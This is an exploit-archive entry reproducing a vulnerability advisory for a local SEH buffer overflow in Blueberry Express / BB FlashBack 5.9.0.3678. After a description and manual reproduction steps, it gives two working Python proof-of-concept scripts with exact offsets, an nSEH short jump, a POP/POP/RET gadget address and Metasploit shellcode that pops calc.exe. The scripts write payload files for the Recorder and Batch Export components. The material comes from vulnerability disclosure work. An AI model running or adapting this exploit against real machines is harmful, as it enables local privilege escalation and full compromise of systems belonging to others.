Blueberry Express 5.9.0.3678 - SEH Buffer Overflow Exploit

2015-07-10T00:00:00
ID 1337DAY-ID-23852
Type zdt
Reporter bot
Modified 2015-07-10T00:00:00

Description

Exploit for windows platform in category local exploits

                                        
                                            Document Title:
===============
Blueberry Express v5.9.x - SEH Buffer Overflow Vulnerability

Product & Service Introduction:
===============================
Create engaging movies by adding text, sound and images to your screen recording. Make sure your audience doesn`t miss a 
thing with easy-to-use Zoom-Pan and AutoScroll effects. Create polished tutorials and presentations with the help of powerful 
editing functions. Do it the easy way with BB FlashBack screen recorder. Its never been easier for everyone to see your movies. 
BB FlashBack screen recorder shares with FlashBack Connect or Youtube to display your movies on all devices.(FlashBack Connect 
is currently in Beta, and available only to Pro and Standard edition purchasers).
 
(Copy of the Vendor Homepage: http://www.bbsoftware.co.uk/bbflashback.aspx )

Technical Details & Description:
================================
A local SEH Buffer Overflow vulnerability has been discovered in the official Blueberry Express v5.9.0.3678 software.
The vulnerability allows local or remote attacker to gain higher system or access privileges by exploitation of a 
classic seh buffer overflow vulnerability.
 
The local SEH Buffer Overflow affects multiple products including the BBFlashBack Recorder, Batch Export etc. 
Other products using similar modules might also be affected. The vulnerability can be exploited by local attackers with low privilege system user account. 
The attacker vector of the issue is server-side and the request method to execute the shellcode is local.
 
The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. 
Successful exploitation of this vulnerability results in complete compromise of the affected machine and system process.
 
 
Proof of Concept (PoC):
=======================
The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
 
POC Description:
For POC, the researcher installed the software with admin privileges on a windows system (allowed to run for all users), while application 
still running in the background, logged off and logged in with a different (low privileged) user. Exploited the vulnerability successfully 
hence giving the researcher a system shell with elevated admin privileges. Privilege escalation is possible in this scenario. 
Malwares wont be able to exploit this vulnerability remotely as this is a Local exploit.
 
Manual steps to reproduce the vulnerability ...
1) Run BB Flashback Express Recorder
2) Goto TOOLS > OPTIONS > MISC
3) Click on "Use custom folder" under the Temp Folder module
4) Copy / Paste the POC binary code (record.txt) into the input field of custom folder
5) Click OK
 
Note: Calculator should popup hence proving the existence of this vulnerability
 
PoC: Exploitcode
# Exploit Title:  Blueberry Express Recorder SEH based buffer overflow (Local) Exploit
# Discovered by:  Ateeq Khan - @ohtheITguy (http://www.vulnerability-lab.com/)
 
# Windows Calc.exe Shellcode - Metasploit
shellcode = ("\xda\xdb\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x32\xb8\x6e\xb9\xe3"
"\x05\x31\x43\x17\x83\xc3\x04\x03\x2d\xaa\x01\xf0\x4d\x24\x4c"
"\xfb\xad\xb5\x2f\x75\x48\x84\x7d\xe1\x19\xb5\xb1\x61\x4f\x36"
"\x39\x27\x7b\xcd\x4f\xe0\x8c\x66\xe5\xd6\xa3\x77\xcb\xd6\x6f"
"\xbb\x4d\xab\x6d\xe8\xad\x92\xbe\xfd\xac\xd3\xa2\x0e\xfc\x8c"
"\xa9\xbd\x11\xb8\xef\x7d\x13\x6e\x64\x3d\x6b\x0b\xba\xca\xc1"
"\x12\xea\x63\x5d\x5c\x12\x0f\x39\x7d\x23\xdc\x59\x41\x6a\x69"
"\xa9\x31\x6d\xbb\xe3\xba\x5c\x83\xa8\x84\x51\x0e\xb0\xc1\x55"
"\xf1\xc7\x39\xa6\x8c\xdf\xf9\xd5\x4a\x55\x1c\x7d\x18\xcd\xc4"
"\x7c\xcd\x88\x8f\x72\xba\xdf\xc8\x96\x3d\x33\x63\xa2\xb6\xb2"
"\xa4\x23\x8c\x90\x60\x68\x56\xb8\x31\xd4\x39\xc5\x22\xb0\xe6"
"\x63\x28\x52\xf2\x12\x73\x38\x05\x96\x09\x05\x05\xa8\x11\x25"
"\x6e\x99\x9a\xaa\xe9\x26\x49\x8f\x06\x6d\xd0\xb9\x8e\x28\x80"
"\xf8\xd2\xca\x7e\x3e\xeb\x48\x8b\xbe\x08\x50\xfe\xbb\x55\xd6"
"\x12\xb1\xc6\xb3\x14\x66\xe6\x91\x76\xe9\x74\x79\x79")
 
 
push="\x90" * 288       # Starting offset
nseh="\xeb\x06\x90\x90" # Short jump
seh="\xf3\x43\x10\x40"  # POP/POP/RET - [vcl60.bpl] [NoSafeSEH]
nopsled="\x90" * 30     # NOPsled
 
print "Creating expoit file"
f=open("recorder.txt","w") 
 
try:
    f.write(push+nseh+seh+nopsled+shellcode)
    f.close()
    print "File created"
except:
    print "File cannot be created"
 
 
 
PoC#2: Exploitcode
# Exploit Title:  Blueberry Express Batch Export SEH based buffer overflow (Local)
# Discovered by:  Ateeq Khan - @ohtheITguy (http://www.vulnerability-lab.com/)
 
print "Creating expoit file"
f=open("batch.txt","w") #Create the file
 
# Windows Calc.exe Shellcode - Metasploit
shellcode = ("\xda\xdb\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x32\xb8\x6e\xb9\xe3"
"\x05\x31\x43\x17\x83\xc3\x04\x03\x2d\xaa\x01\xf0\x4d\x24\x4c"
"\xfb\xad\xb5\x2f\x75\x48\x84\x7d\xe1\x19\xb5\xb1\x61\x4f\x36"
"\x39\x27\x7b\xcd\x4f\xe0\x8c\x66\xe5\xd6\xa3\x77\xcb\xd6\x6f"
"\xbb\x4d\xab\x6d\xe8\xad\x92\xbe\xfd\xac\xd3\xa2\x0e\xfc\x8c"
"\xa9\xbd\x11\xb8\xef\x7d\x13\x6e\x64\x3d\x6b\x0b\xba\xca\xc1"
"\x12\xea\x63\x5d\x5c\x12\x0f\x39\x7d\x23\xdc\x59\x41\x6a\x69"
"\xa9\x31\x6d\xbb\xe3\xba\x5c\x83\xa8\x84\x51\x0e\xb0\xc1\x55"
"\xf1\xc7\x39\xa6\x8c\xdf\xf9\xd5\x4a\x55\x1c\x7d\x18\xcd\xc4"
"\x7c\xcd\x88\x8f\x72\xba\xdf\xc8\x96\x3d\x33\x63\xa2\xb6\xb2"
"\xa4\x23\x8c\x90\x60\x68\x56\xb8\x31\xd4\x39\xc5\x22\xb0\xe6"
"\x63\x28\x52\xf2\x12\x73\x38\x05\x96\x09\x05\x05\xa8\x11\x25"
"\x6e\x99\x9a\xaa\xe9\x26\x49\x8f\x06\x6d\xd0\xb9\x8e\x28\x80"
"\xf8\xd2\xca\x7e\x3e\xeb\x48\x8b\xbe\x08\x50\xfe\xbb\x55\xd6"
"\x12\xb1\xc6\xb3\x14\x66\xe6\x91\x76\xe9\x74\x79\x79")
 
push="\x90" * 6596      # Starting offset
nseh="\xeb\x06\x90\x90" # Short jump
seh="\xf3\x43\x10\x40"  # POP/POP/RET - [vcl60.bpl] [NoSafeSEH]
nopsled="\x90" * 30     # NOPsled
 
 
try:
    f.write(push+nseh+seh+nopsled+shellcode)
    f.close()
    print "File created"
except:
    print "File cannot be created"
 
 
 
Reference(s):
http://www.bbsoftware.co.uk/
http://www.bbsoftware.co.uk/bbflashback/download.aspx

#  0day.today [2018-01-24]  #